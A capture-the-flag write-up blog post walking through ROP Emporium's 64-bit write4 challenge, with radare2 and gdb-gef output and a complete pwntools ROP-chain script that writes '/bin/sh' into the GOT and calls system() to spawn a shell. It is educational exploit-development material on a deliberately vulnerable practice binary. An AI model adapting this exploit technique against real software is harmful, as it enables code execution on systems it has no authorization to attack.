jmpesp.me

Ropping to Victory - Part 4, write4

This time we're going to look at ropemporium's fourth challenge, write4, and in 64-bit! We're going to use radare2, gdb-gef and pwntools to crack our first challenge that requires writing our command to memory.

a year ago

Latest Post SharpCookieMonster by m0rv4i

This time we're looking at the fourth ropemporium challenge, write4, but this time we're going to do it in 64-bit. We'll have to write our own command to memory and then call system to execute it.

Binary Analysis

As per usual, let's run it:

# ./write464
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> test

Exiting

Looks similar to the others, let's fire up radare2.

r2 write464
 -- This code was intentionally left blank, try 'e asm.arch = ws'
[0x00400650]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
[0x00400650]> afl
0x00400650    1 41           entry0
0x00400610    1 6            sym.imp.__libc_start_main
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           entry.fini0
0x00400720    4 38   -> 35   entry.init0
0x004007b5    1 82           sym.pwnme
0x00400600    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.puts
0x004005f0    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400807    1 17           sym.usefulFunction
0x004005e0    1 6            sym.imp.system
0x004008a0    1 2            sym.__libc_csu_fini
0x004008a4    1 9            sym._fini
0x00400830    4 101          sym.__libc_csu_init
0x00400746    1 111          main
0x00400630    1 6            sym.imp.setvbuf
0x004005a0    3 26           sym._init
0x00400640    1 6            sym..plt.got
[0x00400650]>

We see some stuff that at this point we're familiar with, let's take a look at the suspiciously useful function. This time we'll use the hud functionality to search for the function.

Let's enter visual mode with V and scroll through the visual modes until we get to the disassembler with p. We can then search through all flags by pressing the _ key, we then get a search prompt which dynamically searches the flags as we type.

As we search for 'useful' we notice there are in fact two flags:

0> usefu|
 - 0x00400807  sym.usefulFunction
   0x00400820  loc.usefulGadgets 

One is the usefulFunction we're expecting, but the second is a location flag called usefulGadgets. We notice that the memory addresses are pretty close together, let's press enter and navigate to the usefulFunction and take a look...

[0x00400807 [xAdvc] 0% 220 write464]> pd $r @ sym.usefulFunction
┌ (fcn) sym.usefulFunction 17
│   sym.usefulFunction ();
│           0x00400807      55             push rbp
│           0x00400808      4889e5         mov rbp, rsp
│           0x0040080b      bf0c094000     mov edi, str.bin_ls         ; 0x4
│           0x00400810      e8cbfdffff     call sym.imp.system         ;[1]
│           0x00400815      90             nop
│           0x00400816      5d             pop rbp
└           0x00400817      c3             ret
            0x00400818      0f1f84000000.  nop dword [rax + rax]
            ;-- usefulGadgets:
            0x00400820      4d893e         mov qword [r14], r15
            0x00400823      c3             ret
            0x00400824      662e0f1f8400.  nop word cs:[rax + rax]
            0x0040082e      6690           nop

The usefulFunction looks similar to the other challenges and includes the code that imports system, but this time it's followed by some gadgets , in particular a mov gadget that shifts memory around... hmm...

The name of the challenge and the gadget we have implies that we're supposed to write our own string to memory, however just in case let's search the binary for strings that may be useful. We can use our hud again to search through the output of any command by appending ~.... As we're in visual mode we'll have to hit : to enter a command, then izz~... to enter the hud:

0> cat|                                                                    


yep...nothing, and the same for sh. We are indeed goning to have to write one in ourselves.

Plan of attack

Let's take a closer look at the useful gadget:

;-- usefulGadgets:
            0x00400820      4d893e         mov qword [r14], r15
            0x00400823      c3             ret

This gadget moves the value of the r15 register into the address pointed at by the r14 register. What we want then, is the ability to control what r14 and r15 contain and we can write to any arbitrary memory address.

Let's see what other gadgets there are and see if we have what we need.

From command mode (or with a : again), let's search for a pop r14 gadget and see if we have one.

[0x0040084a]> /R pop r14
  0x0040088c               415c  pop r12
  0x0040088e               415d  pop r13
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

  0x0040088d                 5c  pop rsp
  0x0040088e               415d  pop r13
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

  0x0040088f                 5d  pop rbp
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret

[0x0040084a]>

As luck would have it, we have a gadget that will pop r14 and pop r15 in one at 0x00400890. So it looks like we can write a string to memory, then use the rop techniques we have used previously to call system with our string!

Exploitation

Let's create our skeleton pwntools script, except this time for 64-bit, and we'll directly add our cyclic string to find the offset to the expected crash. As the registers are 8 bytes long instead of 4 (64-bits) we'll need to specify n=8 in our cyclic functions to ensure every set of 8 characters is unique.

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
    'b* main',
    'c'
]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))

io.recvuntil("> ")
io.sendline(pwn.cyclic(100, n=8))
io.interactive()

After running our this we see the expected crash:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400806 in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffffc33c7c0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rbx   : 0x0
$rcx   : 0xfbad2088
$rdx   : 0x00007ffffc33c7c0  →  "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rsp   : 0x00007ffffc33c7e8  →  "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"
$rbp   : 0x6161616161616165 ("eaaaaaaa"?)
$rsi   : 0x00007fb7557548d0  →  0x0000000000000000
$rdi   : 0x00007ffffc33c7c1  →  "aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]"
$rip   : 0x0000000000400806  →  <pwnme+81> ret
$r8    : 0x0000000000c652c5  →  0x0000000000000000
$r9    : 0x77
$r10   : 0x0000000000c65010  →  0x0000000000000000
$r11   : 0x246
$r12   : 0x0000000000400650  →  <_start+0> xor ebp, ebp
$r13   : 0x00007ffffc33c8d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffffc33c7e8│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"    ← $rsp
0x00007ffffc33c7f0│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"
0x00007ffffc33c7f8│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007ffffc33c800│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007ffffc33c808│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaa"
0x00007ffffc33c810│+0x0028: "kaaaaaaalaaaaaaamaaa"
0x00007ffffc33c818│+0x0030: "laaaaaaamaaa"
0x00007ffffc33c820│+0x0038: 0x0000000a6161616d ("maaa"?)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007ff <pwnme+74>       call   0x400620 <[email protected]>
     0x400804 <pwnme+79>       nop
     0x400805 <pwnme+80>       leave
 →   0x400806 <pwnme+81>       ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "write464", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400806 → pwnme()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

However this time it looks a little different, the segfault has occurred but rip points to a ret and not to a portion of our cyclic buffer.

64-bit registers

At this point we should talk about 64-bit registers. You may have noticed that all the registers above look the same and have the same function, but begin with an r (e.g. rip) instead of an e (e.g. eip). The r- versions just indicate that the register in 64-bit and the e- that the register is 32-bit, otherwise the function of the register is the same.

64-bit registers are (unsurprisingly) 64-bits in length, however, for many CPUs the 64-bit memory address space does not utilise all of the available 64-bits. x86-64 and ARMv8 for example, two of the most common CPU types, only support up to 48-bits of virtual address space. This is still more than large enough for tasks today, however it does mean that if you try to access a memory address that uses more than 48 bits then the CPU will error with a segfault before the instruction using that memory address actually executes.

So looking above, we can see that rip is at the ret of the pwnme function, and we know that the ret operation will return to the address at the top of the stack and then pop it off.

The address at the top of the stack is part of our buffer: faaaaaaag (unfortunately). Let's use GDB to observe this as a memory address using x/gx $esp (examine giant (64-bit value) and print in hex at esp):

gef➤  x/gx $rsp
0x7ffffc33c7e8: 0x6161616161616166

We can already tell that more than 48-bits are used by the lack of trailing zeros, but let's print it in binary too to check:

gef➤  x/gt $rsp
0x7ffffc33c7e8: 0110000101100001011000010110000101100001011000010110000101100110

Yep, definitely using more than 48-bits! In order to not error the leading 16 (64-48) bits would have to be 0s. This explains why our segfault happens at the ret, and we have determined that the offset that we want is at faaaaaaag as this is the return address that it is trying to be returned to.

Creating the ROP Chain

Right, so we know we have an import to system and we have a mov gadget that can write a register to a the location pointed at by another register - the question now is what to write and where?

We could use the gadget multiple times to build up a long string, however we have 8 ASCII characters to work with in a 64-bit memory adress, so we could just try writing /bin/sh. With the null-byte terminator that's eight characters, perfect!

As for where, let's take a look at the memory mapping for writable locations...

Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /root/Downloads/write464
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /root/Downloads/write464
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /root/Downloads/write464
0x00007f76a8350000 0x00007f76a8372000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a8372000 0x00007f76a84ba000 0x0000000000022000 r-x /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a84ba000 0x00007f76a8506000 0x000000000016a000 r-- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a8506000 0x00007f76a8507000 0x00000000001b6000 --- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a8507000 0x00007f76a850b000 0x00000000001b6000 r-- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a850b000 0x00007f76a850d000 0x00000000001ba000 rw- /lib/x86_64-linux-gnu/libc-2.28.so
0x00007f76a850d000 0x00007f76a8513000 0x0000000000000000 rw-
0x00007f76a853b000 0x00007f76a853c000 0x0000000000000000 r-- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a853c000 0x00007f76a855a000 0x0000000000001000 r-x /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a855a000 0x00007f76a8562000 0x000000000001f000 r-- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a8562000 0x00007f76a8563000 0x0000000000026000 r-- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a8563000 0x00007f76a8564000 0x0000000000027000 rw- /lib/x86_64-linux-gnu/ld-2.28.so
0x00007f76a8564000 0x00007f76a8565000 0x0000000000000000 rw-
0x00007ffc0f584000 0x00007ffc0f5a5000 0x0000000000000000 rw- [stack]
0x00007ffc0f5a9000 0x00007ffc0f5ac000 0x0000000000000000 r-- [vvar]
0x00007ffc0f5ac000 0x00007ffc0f5ae000 0x0000000000000000 r-x [vdso]

There's a writable section for our binary, which doesn't support ASLR so we know that these addresses will be static. This writable section is probably for the Global Offset Table, which as detailed in part 2 needs to be writeable. Let's see if we can confirm this.

gef➤  disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:     push   rbp
   0x0000000000400808 <+1>:     mov    rbp,rsp
   0x000000000040080b <+4>:     mov    edi,0x40090c
   0x0000000000400810 <+9>:     call   0x4005e0 <[email protected]>
   0x0000000000400815 <+14>:    nop
   0x0000000000400816 <+15>:    pop    rbp
   0x0000000000400817 <+16>:    ret
End of assembler dump.
gef➤  disas 0x4005e0
Dump of assembler code for function [email protected]:
   0x00000000004005e0 <+0>:     jmp    QWORD PTR [rip+0x200a3a]        # 0x601020 <[email protected]>
   0x00000000004005e6 <+6>:     push   0x1
   0x00000000004005eb <+11>:    jmp    0x4005c0
End of assembler dump.
gef➤

We can see the [email protected] is at 0x601020, which, in our memory map above, is indeed our writable section. Let's write our string towards the end of the GOT, as long as we don't overwrite the [email protected] address we should be ok.

Let's add what we can to our pwn script:

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
            'b* main',
            'c'
            ]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)

system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900

buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += # need to setup call to system...

io.sendline(buf)
io.interactive()

So we'll overwrite the return address with the address of the gadget which will pop two values off the stack and into r14 and r15, these will be the address to the writeable GOT and the null-terminated string /bin/sh. We'll then return from that to the mov gadget which will write the contents of the r15 register to the location pointed at by the r14 register - so our string will be written to the GOT.

All that remains after that is so setup the call to system, but how do we do this in 64-bit?

64-bit calling convention

For 32-bit programs we know that the arguments to a function go on the stack in reverse order, so that they can be popped off in the right order.

For 64-bit programs things work a little differently. For System V AMD64 ABI systems (Solaris, Linux, FreeBSD & macOS), the first six integer or pointer arguments are passed in the registers rdi, rsi, rdx, rcx, r8 and r9, then any further arguments are pushed onto the stack. For Microsoft systems, the first four arguments are passed in the rcx, rdx, r8 and r9 registers, then any further arguments are passed on the stack.

This means that as we want to call system with the address of our string, we'll have to pop that pointer into the rdi register and then call system. Let's find an appropriate gadget if we can in radare2.

[0x0040084a]> /R pop rdi
  0x00400893                 5f  pop rdi
  0x00400894                 c3  ret

Perfect! Let's finish off our script and give it a go!

Shellz

So our final script looks like this:

#!/usr/bin/env python2

import pwn

# Set the context for any pwntools magic
pwn.context.arch = 'amd64'
# Load the binary as a pwntools ELF
pwn.context.binary = binary = pwn.ELF('./write464')
# Setup pwntools to create a new byoby window instead of a new terminal window when it starts gdb
pwn.context.terminal = ['byobu', 'new-window']

gdb_cmds = [
            'b* main',
            'c'
           ]

# Start debugging
io = pwn.gdb.debug(binary.path, gdbscript = '\n'.join(gdb_cmds))
#io = pwn.process(binary.path)
io.recvuntil("> ")
#io.sendline(pwn.cyclic(100, n=8))
offset = pwn.cyclic_find("faaaaaaag", n=8)

system = binary.symbols.plt.system
mov_r15_to_pointer_r14 = 0x00400820
pop_r14_r15 = 0x00400890
ptr_got_near_end = 0x601900
pop_rdi = 0x00400893

buf = ""
buf += "A" * offset
buf += pwn.p64(pop_r14_r15) # ret address
buf += pwn.p64(ptr_got_near_end) # popped into r14
buf += "/bin/sh\x00" # popped into r15
buf += pwn.p64(mov_r15_to_pointer_r14) # ret from pop gadget
buf += pwn.p64(pop_rdi) # ret from mov gadget
buf += pwn.p64(ptr_got_near_end) # popped into rdi
buf += pwn.p64(system) # ret to system

io.sendline(buf)
io.interactive()

We run it and check the gdb output:

gef➤  c
Continuing.
[Detaching after fork from child process 2246]

Gdb looks good, let's try and run a command in the original window...

python pwn_write464.py
[*] '/root/Downloads/write464'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/usr/bin/gdbserver': pid 2159
[*] running in new terminal: /usr/bin/gdb -q  "/root/Downloads/write464" -x "/tmp/pwnfqSFEj.gdb"
[!] cyclic_find() expects 8-byte subsequences by default, you gave 'faaaaaaag'
    Unless you specified cyclic(..., n=9), you probably just want the first 4 bytes.
    Truncating the data at 4 bytes.  Specify cyclic_find(..., n=9) to override this.
[*] Switching to interactive mode
Detaching from process 2246
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$

Boom! Headshot!

Summary

We've cracked ropemporium's write4, in 64-bit this time! We've had to make use of a gadget to manually write the string we want to execute into memory, and we've gotten a bit more familiar with radare2, gdb-gef and pwntools.

Next time we'll try badchars, a challenge where we'll have to learn how to deal with binaries which can mangle certain characters in our buffer!

m0rv4i

Published a year ago